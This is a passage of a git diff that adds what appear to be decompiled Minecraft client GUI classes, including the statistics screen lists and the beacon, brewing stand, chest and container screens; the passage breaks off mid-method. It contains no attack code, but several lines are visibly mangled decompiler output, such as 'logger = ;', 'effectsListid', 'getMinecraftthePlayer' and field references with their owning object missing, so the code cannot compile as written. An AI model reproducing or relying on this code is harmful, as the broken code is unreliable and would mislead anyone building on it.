+            var6 = StatList.objectCraftStats[var4];
+          }
+          else if (field_148217_o == 1)
+          {
+            var5 = StatList.objectUseStats[var3];
+            var6 = StatList.objectUseStats[var4];
+          }
+          
+          if ((var5 != null) || (var6 != null))
+          {
+            if (var5 == null)
+            {
+              return 1;
+            }
+            
+            if (var6 == null)
+            {
+              return -1;
+            }
+            
+            int var7 = field_146546_t.writeStat(var5);
+            int var8 = field_146546_t.writeStat(var6);
+            
+            if (var7 != var8)
+            {
+              return (var7 - var8) * field_148215_p;
+            }
+          }
+          
+          return var3 - var4;
+        }
+        
+        public int compare(Object p_compare_1_, Object p_compare_2_) {
+          return compare((StatCrafting)p_compare_1_, (StatCrafting)p_compare_2_);
+        }
+      };
+    }
+    
+    protected void drawListHeader(int p_148129_1_, int p_148129_2_, Tessellator p_148129_3_)
+    {
+      super.drawListHeader(p_148129_1_, p_148129_2_, p_148129_3_);
+      
+      if (field_148218_l == 0)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 115 - 18 + 1, p_148129_2_ + 1 + 1, 18, 18);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 115 - 18, p_148129_2_ + 1, 18, 18);
+      }
+      
+      if (field_148218_l == 1)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 165 - 18 + 1, p_148129_2_ + 1 + 1, 36, 18);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 165 - 18, p_148129_2_ + 1, 36, 18);
+      }
+      
+      if (field_148218_l == 2)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 215 - 18 + 1, p_148129_2_ + 1 + 1, 54, 18);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 215 - 18, p_148129_2_ + 1, 54, 18);
+      }
+    }
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      StatCrafting var7 = func_148211_c(p_180791_1_);
+      Item var8 = var7.func_150959_a();
+      GuiStats.this.drawStatsScreen(p_180791_2_ + 40, p_180791_3_, var8);
+      int var9 = Item.getIdFromItem(var8);
+      func_148209_a(StatList.objectCraftStats[var9], p_180791_2_ + 115, p_180791_3_, p_180791_1_ % 2 == 0);
+      func_148209_a(StatList.objectUseStats[var9], p_180791_2_ + 165, p_180791_3_, p_180791_1_ % 2 == 0);
+      func_148209_a(var7, p_180791_2_ + 215, p_180791_3_, p_180791_1_ % 2 == 0);
+    }
+    
+    protected String func_148210_b(int p_148210_1_)
+    {
+      return p_148210_1_ == 1 ? "stat.used" : p_148210_1_ == 0 ? "stat.crafted" : "stat.mined";
+    }
+  }
+  
+  class StatsGeneral extends GuiSlot
+  {
+    private static final String __OBFID = "CL_00000726";
+    
+    public StatsGeneral(Minecraft mcIn)
+    {
+      super(width, height, 32, height - 64, 10);
+      setShowSelectionBox(false);
+    }
+    
+    protected int getSize()
+    {
+      return StatList.generalStats.size();
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY) {}
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return false;
+    }
+    
+    protected int getContentHeight()
+    {
+      return getSize() * 10;
+    }
+    
+    protected void drawBackground()
+    {
+      drawDefaultBackground();
+    }
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      StatBase var7 = (StatBase)StatList.generalStats.get(p_180791_1_);
+      drawString(fontRendererObj, var7.getStatName().getUnformattedText(), p_180791_2_ + 2, p_180791_3_ + 1, p_180791_1_ % 2 == 0 ? 16777215 : 9474192);
+      String var8 = var7.func_75968_a(field_146546_t.writeStat(var7));
+      drawString(fontRendererObj, var8, p_180791_2_ + 2 + 213 - fontRendererObj.getStringWidth(var8), p_180791_3_ + 1, p_180791_1_ % 2 == 0 ? 16777215 : 9474192);
+    }
+  }
+  
+  class StatsItem extends GuiStats.Stats
+  {
+    private static final String __OBFID = "CL_00000727";
+    
+    public StatsItem(Minecraft mcIn)
+    {
+      super(mcIn);
+      statsHolder = Lists.newArrayList();
+      Iterator var3 = StatList.itemStats.iterator();
+      
+      while (var3.hasNext())
+      {
+        StatCrafting var4 = (StatCrafting)var3.next();
+        boolean var5 = false;
+        int var6 = Item.getIdFromItem(var4.func_150959_a());
+        
+        if (field_146546_t.writeStat(var4) > 0)
+        {
+          var5 = true;
+        }
+        else if ((StatList.objectBreakStats[var6] != null) && (field_146546_t.writeStat(StatList.objectBreakStats[var6]) > 0))
+        {
+          var5 = true;
+        }
+        else if ((StatList.objectCraftStats[var6] != null) && (field_146546_t.writeStat(StatList.objectCraftStats[var6]) > 0))
+        {
+          var5 = true;
+        }
+        
+        if (var5)
+        {
+          statsHolder.add(var4);
+        }
+      }
+      
+      statSorter = new Comparator()
+      {
+        private static final String __OBFID = "CL_00000728";
+        
+        public int compare(StatCrafting p_compare_1_, StatCrafting p_compare_2_) {
+          int var3 = Item.getIdFromItem(p_compare_1_.func_150959_a());
+          int var4 = Item.getIdFromItem(p_compare_2_.func_150959_a());
+          StatBase var5 = null;
+          StatBase var6 = null;
+          
+          if (field_148217_o == 0)
+          {
+            var5 = StatList.objectBreakStats[var3];
+            var6 = StatList.objectBreakStats[var4];
+          }
+          else if (field_148217_o == 1)
+          {
+            var5 = StatList.objectCraftStats[var3];
+            var6 = StatList.objectCraftStats[var4];
+          }
+          else if (field_148217_o == 2)
+          {
+            var5 = StatList.objectUseStats[var3];
+            var6 = StatList.objectUseStats[var4];
+          }
+          
+          if ((var5 != null) || (var6 != null))
+          {
+            if (var5 == null)
+            {
+              return 1;
+            }
+            
+            if (var6 == null)
+            {
+              return -1;
+            }
+            
+            int var7 = field_146546_t.writeStat(var5);
+            int var8 = field_146546_t.writeStat(var6);
+            
+            if (var7 != var8)
+            {
+              return (var7 - var8) * field_148215_p;
+            }
+          }
+          
+          return var3 - var4;
+        }
+        
+        public int compare(Object p_compare_1_, Object p_compare_2_) {
+          return compare((StatCrafting)p_compare_1_, (StatCrafting)p_compare_2_);
+        }
+      };
+    }
+    
+    protected void drawListHeader(int p_148129_1_, int p_148129_2_, Tessellator p_148129_3_)
+    {
+      super.drawListHeader(p_148129_1_, p_148129_2_, p_148129_3_);
+      
+      if (field_148218_l == 0)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 115 - 18 + 1, p_148129_2_ + 1 + 1, 72, 18);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 115 - 18, p_148129_2_ + 1, 72, 18);
+      }
+      
+      if (field_148218_l == 1)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 165 - 18 + 1, p_148129_2_ + 1 + 1, 18, 18);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 165 - 18, p_148129_2_ + 1, 18, 18);
+      }
+      
+      if (field_148218_l == 2)
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 215 - 18 + 1, p_148129_2_ + 1 + 1, 36, 18);
+      }
+      else
+      {
+        GuiStats.this.drawSprite(p_148129_1_ + 215 - 18, p_148129_2_ + 1, 36, 18);
+      }
+    }
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      StatCrafting var7 = func_148211_c(p_180791_1_);
+      Item var8 = var7.func_150959_a();
+      GuiStats.this.drawStatsScreen(p_180791_2_ + 40, p_180791_3_, var8);
+      int var9 = Item.getIdFromItem(var8);
+      func_148209_a(StatList.objectBreakStats[var9], p_180791_2_ + 115, p_180791_3_, p_180791_1_ % 2 == 0);
+      func_148209_a(StatList.objectCraftStats[var9], p_180791_2_ + 165, p_180791_3_, p_180791_1_ % 2 == 0);
+      func_148209_a(var7, p_180791_2_ + 215, p_180791_3_, p_180791_1_ % 2 == 0);
+    }
+    
+    protected String func_148210_b(int p_148210_1_)
+    {
+      return p_148210_1_ == 2 ? "stat.used" : p_148210_1_ == 1 ? "stat.crafted" : "stat.depleted";
+    }
+  }
+  
+  class StatsMobsList extends GuiSlot
+  {
+    private final List field_148222_l = Lists.newArrayList();
+    private static final String __OBFID = "CL_00000729";
+    
+    public StatsMobsList(Minecraft mcIn)
+    {
+      super(width, height, 32, height - 64, fontRendererObj.FONT_HEIGHT * 4);
+      setShowSelectionBox(false);
+      Iterator var3 = EntityList.entityEggs.values().iterator();
+      
+      while (var3.hasNext())
+      {
+        EntityList.EntityEggInfo var4 = (EntityList.EntityEggInfo)var3.next();
+        
+        if ((field_146546_t.writeStat(field_151512_d) > 0) || (field_146546_t.writeStat(field_151513_e) > 0))
+        {
+          field_148222_l.add(var4);
+        }
+      }
+    }
+    
+    protected int getSize()
+    {
+      return field_148222_l.size();
+    }
+    
+    protected void elementClicked(int slotIndex, boolean isDoubleClick, int mouseX, int mouseY) {}
+    
+    protected boolean isSelected(int slotIndex)
+    {
+      return false;
+    }
+    
+    protected int getContentHeight()
+    {
+      return getSize() * fontRendererObj.FONT_HEIGHT * 4;
+    }
+    
+    protected void drawBackground()
+    {
+      drawDefaultBackground();
+    }
+    
+    protected void drawSlot(int p_180791_1_, int p_180791_2_, int p_180791_3_, int p_180791_4_, int p_180791_5_, int p_180791_6_)
+    {
+      EntityList.EntityEggInfo var7 = (EntityList.EntityEggInfo)field_148222_l.get(p_180791_1_);
+      String var8 = I18n.format("entity." + EntityList.getStringFromID(spawnedID) + ".name", new Object[0]);
+      int var9 = field_146546_t.writeStat(field_151512_d);
+      int var10 = field_146546_t.writeStat(field_151513_e);
+      String var11 = I18n.format("stat.entityKills", new Object[] { Integer.valueOf(var9), var8 });
+      String var12 = I18n.format("stat.entityKilledBy", new Object[] { var8, Integer.valueOf(var10) });
+      
+      if (var9 == 0)
+      {
+        var11 = I18n.format("stat.entityKills.none", new Object[] { var8 });
+      }
+      
+      if (var10 == 0)
+      {
+        var12 = I18n.format("stat.entityKilledBy.none", new Object[] { var8 });
+      }
+      
+      drawString(fontRendererObj, var8, p_180791_2_ + 2 - 10, p_180791_3_ + 1, 16777215);
+      drawString(fontRendererObj, var11, p_180791_2_ + 2, p_180791_3_ + 1 + fontRendererObj.FONT_HEIGHT, var9 == 0 ? 6316128 : 9474192);
+      drawString(fontRendererObj, var12, p_180791_2_ + 2, p_180791_3_ + 1 + fontRendererObj.FONT_HEIGHT * 2, var10 == 0 ? 6316128 : 9474192);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/CreativeCrafting.java b/src/minecraft/net/minecraft/client/gui/inventory/CreativeCrafting.java
new file mode 100644
index 0000000..d737d2c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/CreativeCrafting.java
@@ -0,0 +1,37 @@
+package net.minecraft.client.gui.inventory;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.PlayerControllerMP;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.ItemStack;
+
+public class CreativeCrafting implements net.minecraft.inventory.ICrafting
+{
+  private final Minecraft mc;
+  private static final String __OBFID = "CL_00000751";
+  
+  public CreativeCrafting(Minecraft mc)
+  {
+    this.mc = mc;
+  }
+  
+
+
+
+
+  public void updateCraftingInventory(Container p_71110_1_, List p_71110_2_) {}
+  
+
+
+
+  public void sendSlotContents(Container p_71111_1_, int p_71111_2_, ItemStack p_71111_3_)
+  {
+    mc.playerController.sendSlotPacket(p_71111_3_, p_71111_2_);
+  }
+  
+  public void sendProgressBarUpdate(Container p_71112_1_, int p_71112_2_, int p_71112_3_) {}
+  
+  public void func_175173_a(Container p_175173_1_, IInventory p_175173_2_) {}
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiBeacon.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiBeacon.java
new file mode 100644
index 0000000..6fe2ceb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiBeacon.java
@@ -0,0 +1,333 @@
+package net.minecraft.client.gui.inventory;
+
+import io.netty.buffer.Unpooled;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.ContainerBeacon;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.client.C17PacketCustomPayload;
+import net.minecraft.potion.Potion;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+
+public class GuiBeacon extends GuiContainer
+{
+  private static final org.apache.logging.log4j.Logger logger = ;
+  private static final ResourceLocation beaconGuiTextures = new ResourceLocation("textures/gui/container/beacon.png");
+  private IInventory tileBeacon;
+  private ConfirmButton beaconConfirmButton;
+  private boolean buttonsNotDrawn;
+  private static final String __OBFID = "CL_00000739";
+  
+  public GuiBeacon(InventoryPlayer p_i45507_1_, IInventory p_i45507_2_)
+  {
+    super(new ContainerBeacon(p_i45507_1_, p_i45507_2_));
+    tileBeacon = p_i45507_2_;
+    xSize = 230;
+    ySize = 219;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    super.initGui();
+    buttonList.add(this.beaconConfirmButton = new ConfirmButton(-1, guiLeft + 164, guiTop + 107));
+    buttonList.add(new CancelButton(-2, guiLeft + 190, guiTop + 107));
+    buttonsNotDrawn = true;
+    beaconConfirmButton.enabled = false;
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    super.updateScreen();
+    int var1 = tileBeacon.getField(0);
+    int var2 = tileBeacon.getField(1);
+    int var3 = tileBeacon.getField(2);
+    
+    if ((buttonsNotDrawn) && (var1 >= 0))
+    {
+      buttonsNotDrawn = false;
+      
+
+
+
+
+
+      for (int var4 = 0; var4 <= 2; var4++)
+      {
+        int var5 = net.minecraft.tileentity.TileEntityBeacon.effectsList[var4].length;
+        int var6 = var5 * 22 + (var5 - 1) * 2;
+        
+        for (int var7 = 0; var7 < var5; var7++)
+        {
+          int var8 = effectsListid;
+          PowerButton var9 = new PowerButton(var4 << 8 | var8, guiLeft + 76 + var7 * 24 - var6 / 2, guiTop + 22 + var4 * 25, var8, var4);
+          buttonList.add(var9);
+          
+          if (var4 >= var1)
+          {
+            enabled = false;
+          }
+          else if (var8 == var2)
+          {
+            var9.func_146140_b(true);
+          }
+        }
+      }
+      
+      byte var10 = 3;
+      int var5 = net.minecraft.tileentity.TileEntityBeacon.effectsList[var10].length + 1;
+      int var6 = var5 * 22 + (var5 - 1) * 2;
+      
+      for (int var7 = 0; var7 < var5 - 1; var7++)
+      {
+        int var8 = effectsListid;
+        PowerButton var9 = new PowerButton(var10 << 8 | var8, guiLeft + 167 + var7 * 24 - var6 / 2, guiTop + 47, var8, var10);
+        buttonList.add(var9);
+        
+        if (var10 >= var1)
+        {
+          enabled = false;
+        }
+        else if (var8 == var3)
+        {
+          var9.func_146140_b(true);
+        }
+      }
+      
+      if (var2 > 0)
+      {
+        PowerButton var11 = new PowerButton(var10 << 8 | var2, guiLeft + 167 + (var5 - 1) * 24 - var6 / 2, guiTop + 47, var2, var10);
+        buttonList.add(var11);
+        
+        if (var10 >= var1)
+        {
+          enabled = false;
+        }
+        else if (var2 == var3)
+        {
+          var11.func_146140_b(true);
+        }
+      }
+    }
+    
+    beaconConfirmButton.enabled = ((tileBeacon.getStackInSlot(0) != null) && (var2 > 0));
+  }
+  
+  protected void actionPerformed(GuiButton button) throws java.io.IOException
+  {
+    if (id == -2)
+    {
+      mc.displayGuiScreen(null);
+    }
+    else if (id == -1)
+    {
+      String var2 = "MC|Beacon";
+      PacketBuffer var3 = new PacketBuffer(Unpooled.buffer());
+      var3.writeInt(tileBeacon.getField(1));
+      var3.writeInt(tileBeacon.getField(2));
+      mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload(var2, var3));
+      mc.displayGuiScreen(null);
+    }
+    else if ((button instanceof PowerButton))
+    {
+      if (((PowerButton)button).func_146141_c())
+      {
+        return;
+      }
+      
+      int var5 = id;
+      int var6 = var5 & 0xFF;
+      int var4 = var5 >> 8;
+      
+      if (var4 < 3)
+      {
+        tileBeacon.setField(1, var6);
+      }
+      else
+      {
+        tileBeacon.setField(2, var6);
+      }
+      
+      buttonList.clear();
+      initGui();
+      updateScreen();
+    }
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    RenderHelper.disableStandardItemLighting();
+    drawCenteredString(fontRendererObj, I18n.format("tile.beacon.primary", new Object[0]), 62, 10, 14737632);
+    drawCenteredString(fontRendererObj, I18n.format("tile.beacon.secondary", new Object[0]), 169, 10, 14737632);
+    Iterator var3 = buttonList.iterator();
+    
+    while (var3.hasNext())
+    {
+      GuiButton var4 = (GuiButton)var3.next();
+      
+      if (var4.isMouseOver())
+      {
+        var4.drawButtonForegroundLayer(mouseX - guiLeft, mouseY - guiTop);
+        break;
+      }
+    }
+    
+    RenderHelper.enableGUIStandardItemLighting();
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(beaconGuiTextures);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+    itemRender.zLevel = 100.0F;
+    itemRender.func_180450_b(new ItemStack(Items.emerald), var4 + 42, var5 + 109);
+    itemRender.func_180450_b(new ItemStack(Items.diamond), var4 + 42 + 22, var5 + 109);
+    itemRender.func_180450_b(new ItemStack(Items.gold_ingot), var4 + 42 + 44, var5 + 109);
+    itemRender.func_180450_b(new ItemStack(Items.iron_ingot), var4 + 42 + 66, var5 + 109);
+    itemRender.zLevel = 0.0F;
+  }
+  
+  static class Button extends GuiButton
+  {
+    private final ResourceLocation field_146145_o;
+    private final int field_146144_p;
+    private final int field_146143_q;
+    private boolean field_146142_r;
+    private static final String __OBFID = "CL_00000743";
+    
+    protected Button(int p_i1077_1_, int p_i1077_2_, int p_i1077_3_, ResourceLocation p_i1077_4_, int p_i1077_5_, int p_i1077_6_)
+    {
+      super(p_i1077_2_, p_i1077_3_, 22, 22, "");
+      field_146145_o = p_i1077_4_;
+      field_146144_p = p_i1077_5_;
+      field_146143_q = p_i1077_6_;
+    }
+    
+    public void drawButton(Minecraft mc, int mouseX, int mouseY)
+    {
+      if (visible)
+      {
+        mc.getTextureManager().bindTexture(GuiBeacon.beaconGuiTextures);
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        hovered = ((mouseX >= xPosition) && (mouseY >= yPosition) && (mouseX < xPosition + width) && (mouseY < yPosition + height));
+        short var4 = 219;
+        int var5 = 0;
+        
+        if (!enabled)
+        {
+          var5 += width * 2;
+        }
+        else if (field_146142_r)
+        {
+          var5 += width * 1;
+        }
+        else if (hovered)
+        {
+          var5 += width * 3;
+        }
+        
+        drawTexturedModalRect(xPosition, yPosition, var5, var4, width, height);
+        
+        if (!GuiBeacon.beaconGuiTextures.equals(field_146145_o))
+        {
+          mc.getTextureManager().bindTexture(field_146145_o);
+        }
+        
+        drawTexturedModalRect(xPosition + 2, yPosition + 2, field_146144_p, field_146143_q, 18, 18);
+      }
+    }
+    
+    public boolean func_146141_c()
+    {
+      return field_146142_r;
+    }
+    
+    public void func_146140_b(boolean p_146140_1_)
+    {
+      field_146142_r = p_146140_1_;
+    }
+  }
+  
+  class CancelButton extends GuiBeacon.Button
+  {
+    private static final String __OBFID = "CL_00000740";
+    
+    public CancelButton(int p_i1074_2_, int p_i1074_3_, int p_i1074_4_)
+    {
+      super(p_i1074_3_, p_i1074_4_, GuiBeacon.beaconGuiTextures, 112, 220);
+    }
+    
+    public void drawButtonForegroundLayer(int mouseX, int mouseY)
+    {
+      drawCreativeTabHoveringText(I18n.format("gui.cancel", new Object[0]), mouseX, mouseY);
+    }
+  }
+  
+  class ConfirmButton extends GuiBeacon.Button
+  {
+    private static final String __OBFID = "CL_00000741";
+    
+    public ConfirmButton(int p_i1075_2_, int p_i1075_3_, int p_i1075_4_)
+    {
+      super(p_i1075_3_, p_i1075_4_, GuiBeacon.beaconGuiTextures, 90, 220);
+    }
+    
+    public void drawButtonForegroundLayer(int mouseX, int mouseY)
+    {
+      drawCreativeTabHoveringText(I18n.format("gui.done", new Object[0]), mouseX, mouseY);
+    }
+  }
+  
+  class PowerButton extends GuiBeacon.Button
+  {
+    private final int field_146149_p;
+    private final int field_146148_q;
+    private static final String __OBFID = "CL_00000742";
+    
+    public PowerButton(int p_i1076_2_, int p_i1076_3_, int p_i1076_4_, int p_i1076_5_, int p_i1076_6_)
+    {
+      super(p_i1076_3_, p_i1076_4_, GuiContainer.inventoryBackground, 0 + Potion.potionTypes[p_i1076_5_].getStatusIconIndex() % 8 * 18, 198 + Potion.potionTypes[p_i1076_5_].getStatusIconIndex() / 8 * 18);
+      field_146149_p = p_i1076_5_;
+      field_146148_q = p_i1076_6_;
+    }
+    
+    public void drawButtonForegroundLayer(int mouseX, int mouseY)
+    {
+      String var3 = I18n.format(Potion.potionTypes[field_146149_p].getName(), new Object[0]);
+      
+      if ((field_146148_q >= 3) && (field_146149_p != regenerationid))
+      {
+        var3 = var3 + " II";
+      }
+      
+      drawCreativeTabHoveringText(var3, mouseX, mouseY);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiBrewingStand.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiBrewingStand.java
new file mode 100644
index 0000000..d9c50cd
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiBrewingStand.java
@@ -0,0 +1,92 @@
+package net.minecraft.client.gui.inventory;
+
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiBrewingStand extends GuiContainer
+{
+  private static final ResourceLocation brewingStandGuiTextures = new ResourceLocation("textures/gui/container/brewing_stand.png");
+  private final InventoryPlayer field_175384_v;
+  private IInventory tileBrewingStand;
+  private static final String __OBFID = "CL_00000746";
+  
+  public GuiBrewingStand(InventoryPlayer p_i45506_1_, IInventory p_i45506_2_)
+  {
+    super(new net.minecraft.inventory.ContainerBrewingStand(p_i45506_1_, p_i45506_2_));
+    field_175384_v = p_i45506_1_;
+    tileBrewingStand = p_i45506_2_;
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    String var3 = tileBrewingStand.getDisplayName().getUnformattedText();
+    fontRendererObj.drawString(var3, xSize / 2 - fontRendererObj.getStringWidth(var3) / 2, 6, 4210752);
+    fontRendererObj.drawString(field_175384_v.getDisplayName().getUnformattedText(), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(brewingStandGuiTextures);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, ySize);
+    int var6 = tileBrewingStand.getField(0);
+    
+    if (var6 > 0)
+    {
+      int var7 = (int)(28.0F * (1.0F - var6 / 400.0F));
+      
+      if (var7 > 0)
+      {
+        drawTexturedModalRect(var4 + 97, var5 + 16, 176, 0, 9, var7);
+      }
+      
+      int var8 = var6 / 2 % 7;
+      
+      switch (var8)
+      {
+      case 0: 
+        var7 = 29;
+        break;
+      
+      case 1: 
+        var7 = 24;
+        break;
+      
+      case 2: 
+        var7 = 20;
+        break;
+      
+      case 3: 
+        var7 = 16;
+        break;
+      
+      case 4: 
+        var7 = 11;
+        break;
+      
+      case 5: 
+        var7 = 6;
+        break;
+      
+      case 6: 
+        var7 = 0;
+      }
+      
+      if (var7 > 0)
+      {
+        drawTexturedModalRect(var4 + 65, var5 + 14 + 29 - var7, 185, 29 - var7, 12, var7);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiChest.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiChest.java
new file mode 100644
index 0000000..dd2beb7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiChest.java
@@ -0,0 +1,54 @@
+package net.minecraft.client.gui.inventory;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiChest extends GuiContainer
+{
+  private static final ResourceLocation field_147017_u = new ResourceLocation("textures/gui/container/generic_54.png");
+  
+  private IInventory upperChestInventory;
+  
+  private IInventory lowerChestInventory;
+  
+  private int inventoryRows;
+  
+  private static final String __OBFID = "CL_00000749";
+  
+  public GuiChest(IInventory p_i46315_1_, IInventory p_i46315_2_)
+  {
+    super(new net.minecraft.inventory.ContainerChest(p_i46315_1_, p_i46315_2_, getMinecraftthePlayer));
+    upperChestInventory = p_i46315_1_;
+    lowerChestInventory = p_i46315_2_;
+    allowUserInput = false;
+    short var3 = 222;
+    int var4 = var3 - 108;
+    inventoryRows = (p_i46315_2_.getSizeInventory() / 9);
+    ySize = (var4 + inventoryRows * 18);
+  }
+  
+
+
+
+  protected void drawGuiContainerForegroundLayer(int mouseX, int mouseY)
+  {
+    fontRendererObj.drawString(lowerChestInventory.getDisplayName().getUnformattedText(), 8, 6, 4210752);
+    fontRendererObj.drawString(upperChestInventory.getDisplayName().getUnformattedText(), 8, ySize - 96 + 2, 4210752);
+  }
+  
+
+
+
+  protected void drawGuiContainerBackgroundLayer(float partialTicks, int mouseX, int mouseY)
+  {
+    net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    mc.getTextureManager().bindTexture(field_147017_u);
+    int var4 = (width - xSize) / 2;
+    int var5 = (height - ySize) / 2;
+    drawTexturedModalRect(var4, var5, 0, 0, xSize, inventoryRows * 18 + 17);
+    drawTexturedModalRect(var4, var5 + inventoryRows * 18 + 17, 0, 126, xSize, 96);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/inventory/GuiContainer.java b/src/minecraft/net/minecraft/client/gui/inventory/GuiContainer.java
new file mode 100644
index 0000000..18ecb36
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/inventory/GuiContainer.java
@@ -0,0 +1,778 @@
+package net.minecraft.client.gui.inventory;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.KeyBinding;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.Slot;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.input.Keyboard;
+
+public abstract class GuiContainer extends GuiScreen
+{
+  protected static final ResourceLocation inventoryBackground = new ResourceLocation("textures/gui/container/inventory.png");
+  
+
+  protected int xSize = 176;
+  
+
+  protected int ySize = 166;
+  
+
+  public Container inventorySlots;
+  
+
+  protected int guiLeft;
+  
+
+  protected int guiTop;
+  
+
+  private Slot theSlot;
+  
+
+  private Slot clickedSlot;
+  
+  private boolean isRightMouseClick;
+  
+  private ItemStack draggedStack;
+  
+  private int touchUpX;
+  
+  private int touchUpY;
+  
+  private Slot returningStackDestSlot;
+  
+  private long returningStackTime;
+  
+  private ItemStack returningStack;
+  
+  private Slot currentDragTargetSlot;
+  
+  private long dragItemDropDelay;
+  
+  protected final Set dragSplittingSlots = com.google.common.collect.Sets.newHashSet();
+  protected boolean dragSplitting;
+  private int dragSplittingLimit;
+  private int dragSplittingButton;
+  private boolean ignoreMouseUp;
+  private int dragSplittingRemnant;
+  private long lastClickTime;
+  private Slot lastClickSlot;
+  private int lastClickButton;
+  private boolean doubleClick;
+  private ItemStack shiftClickedSlot;
+  private static final String __OBFID = "CL_00000737";
+  
+  public GuiContainer(Container p_i1072_1_)
+  {
+    inventorySlots = p_i1072_1_;
+    ignoreMouseUp = true;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    super.initGui();
+    mc.thePlayer.openContainer = inventorySlots;
+    guiLeft = ((width - xSize) / 2);
+    guiTop = ((height - ySize) / 2);
+  }
+  
+
+
+
+  public void drawScreen(int mouseX, int mouseY, float partialTicks)
+  {
+    drawDefaultBackground();
+    int var4 = guiLeft;
+    int var5 = guiTop;
+    drawGuiContainerBackgroundLayer(partialTicks, mouseX, mouseY);
+    GlStateManager.disableRescaleNormal();
+    RenderHelper.disableStandardItemLighting();
+    GlStateManager.disableLighting();
+    GlStateManager.disableDepth();
+    super.drawScreen(mouseX, mouseY, partialTicks);
